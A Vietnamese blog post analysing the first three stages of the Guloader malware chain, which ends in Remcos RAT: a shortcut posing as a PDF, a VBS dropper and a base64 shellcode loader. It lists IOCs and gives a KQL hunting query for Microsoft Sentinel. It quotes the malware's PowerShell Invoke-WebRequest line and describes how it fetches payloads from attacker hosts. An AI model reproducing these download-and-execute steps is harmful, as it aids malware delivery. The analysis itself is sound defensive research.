Các giai đoạn thực thi của Guloader:
Stage 1: File Shortcut (ngụy trang thành file PDF) dùng lệnh Powershell để tại về một file PDF khác và một file vbs
Stage 2: File vbs sau đó tải một đoạn dữ liệu được mã hóa base64 và lưu vào file opbrugende.Dal
Stage 3: Sử dụng dữ liệu từ file ở trên để tạo shellcode và thực thi
Stage 4: Giai đoạn cuối cùng của Guloader – Remcos RAT
Tóm tắt các giai đoạn như biểu đồ dưới đây:
Chúng ta sẽ tập trung vào ba giai đoạn đầu của Guloader, ở mỗi giai đoạn sẽ đưa ra các cách thức phát hiện cả “hành vi” và IOC. Nếu bạn vẫn chưa biết nó là gì thì sau đây là một vài định nghĩa:
- IOC (Indicators Of Compromise): Bằng chứng cho thấy cuộc tấn công đã diễn ra bao gồm địa chỉ IP, hash, domain,… Các thông tin này được chia sẽ rộng rãi để giúp cộng động trong việc phát hiện và ngăn ngừa các mối đe dọa.
- Behavior: Mô tả các hành vi có thể có của một cuộc tấn công bao gồm “what”, “when”, “where”, “how”.
Stage 1: File shortcut
Sau khi tải tệp đính kèm từ email là file zip và giải nén, ta được file RFQ No 41 26_06_2023.pdf với hash SHA256: 748c0ef7a63980d4e8064b14fb95ba51947bfc7d9ccf39c6ef614026a89c39e. Nhìn lần đầu thì thì có vẻ là file PDF nhưng máy lại xem nó là file shortcut:
Nếu mở file dùng Die (Detect it Easy) thì nó lại là file Powershell – một loại file thực thi được:
Rất đoạn ngờ, dựa trên đường dẫn mặc định thì đúng là file Powershell, có vẻ nó chứa các đoạn lệnh sẽ được thực thi nếu ta mở file PDF đó.
Xem thử tiếp bằng IDA:
Ta thu được nguyên đoạn lệnh thực thi được tách ta hai đoạn Powershell, bắt đầu với đoạn đầu tiên trước:
Invoke-WebRequest hxxps://shorturl[.]at/iwAK9 -O C:\Users\Public\RFQ-INFO.pdf;
Lệnh đầu tiên tải về một file thông qua một link rút gọn rồi lưu ở “C:\Users\Public\RFQ-INFO.pdf”, cái link rút gọn đó chuyển hướng tới “hxxps://img[.]softmedal[.]com/uploads/2023-06-23/773918053744.jpg”.
Ta truy cập vô link đó để tải file và đổi tên thành “RFQ-INFO.pdf”:
Không có gì đặc biệt, có vẻ khi mở cái file PDF giả mạo thì nó sẽ tải cái file PDF này rồi mở cho chúng ta xem.
Lệnh thứ hai thì cũng tương tự, tải file “Reilon.vbs” qua link rút gọn rồi lưu ở “C:\Windows\Tasks”.
Để ý đoạn lệnh Powershell sử dụng “WebRequest” để tải file, ta có thể dùng nó để phát hiện các các đoạn lệnh Powershell đáng ngờ tải sử dụng Microsoft Sentinel:
Stage2: Reilon.vbs
Sau khi tải file Reilon.vbs ta được:
Đoạn code chỉ sử dụng phương pháp làm rối đơn giản, sau khi giải mã ta được:
CreateObject("Shell.Application").ShellExecute POWERSHELL.exe "Function Milj379 ([String]$Endoph)…."
Ta có thể kiểm tra xem có tiến trình Powershell được ta ra khi mở một số loại file:
Đoạn code mà ta lấy được vẫn sử dụng phương pháp làm rối đơn giản, giải mã ta được:
Đoạn code tải một file data từ “hxxp://194.55.224[.]183/kng/Persuasive.inf” và lưu ở “$env:appdata\Roaming\opbrugende.Dal”, sau đó giãi mã base64, lấy ra 19271 bytes từ vị trí.
Ta có thể kiểm tra xem có file nào đang ngờ được tạo trong thư mục Appdata vì mã độc rất thường tạo file trong thư mục này. Do đó thường xuyên kiểm tra sẽ rất giúp ích trong việc phát hiện mã độc.
Stage 3: opbrugende.Dal
Tiến hành giải mã base64 ta được:
Đoạn code sử dụng phương pháp làm rối không quá phức tạp nhưng lại quá nhiều, khá tốn thời gian để giải mã bằng tay. Lần này ta sẽ viết code để tự động hóa quá trình giải mã:
Thu được kết quả
Phần cần chú ý được khoanh vùng màu vàng ở trên, trong đó biến $Industri3 lưu 645 bytes từ $Hamart (đoạn data sau khi được giải mã base64 ở stage 2) tại vị trí 0, biến $veristfil lưu 193539-645=192894 bytes tại vị trí 645. Cả hai đều có thể là shellcode, sau đó chương trình sẽ thực thi shellcode sử dụng NtProtectVirtualMemory.
Đến đây là xong ba giai đoạn của Guloader, giai đoạn cuối cùng là phân tích đoạn shellcode đó nhưng có lẽ chúng ta sẽ tiếp tục ở phần sau.
IoC:
hxxp://194.55.224[.]183/kng/Persuasive.inf
hxxps://shorturl[.]at/iwAK9
hxxps://img[.]softmedal[.]com/uploads/2023-06-23/773918053744.jpg
hxxps://shorturl[.]at/guDHW
hxxps://img.softmedal[.]com/uploads/2023-06-23/298186187297.jpg
748c0ef7a63980d4e8064b14fb95ba51947bfc7d9ccf39c6ef614026a89c39e5 (RFQ No 41 26_06_2023.pdf.lnk)
afbfc145affa16280139a70e92364d8cc9d71b951d3258df9a9855c0c1f1f567 (RFQ-INFO.pdf)
ab6c5af91d0e384cc011f3e3be12b13290bfc802ce5dd8a3788100f583d4b800 (Reilon.vbs)
f3b62d90f02bbecd522049f9186c67d939b77e98449d63e73de4893060f1dd48 (opbrugende.Dal)
KQL threat hunting query:
let sha256_hash = dynamic(['748c0ef7a63980d4e8064b14fb95ba51947bfc7d9ccf39c6ef614026a89c39e5', 'afbfc145affa16280139a70e92364d8cc9d71b951d3258df9a9855c0c1f1f567', 'ab6c5af91d0e384cc011f3e3be12b13290bfc802ce5dd8a3788100f583d4b800', 'f3b62d90f02bbecd522049f9186c67d939b77e98449d63e73de4893060f1dd48']);
let IP_addr = "194.55.224.183";
let domains = "img.softmedal.com";
(union isfuzzy=true
(DeviceFileEvents
| where TimeGenerated > ago(15d)
| where SHA256 has_any (sha256_hash)),
(DeviceNetworkEvents
| where TimeGenerated > ago(15d)
| where RemoteIP == IP_addr or RemoteUrl has_any (domains))
)
Người viết: Khai Phan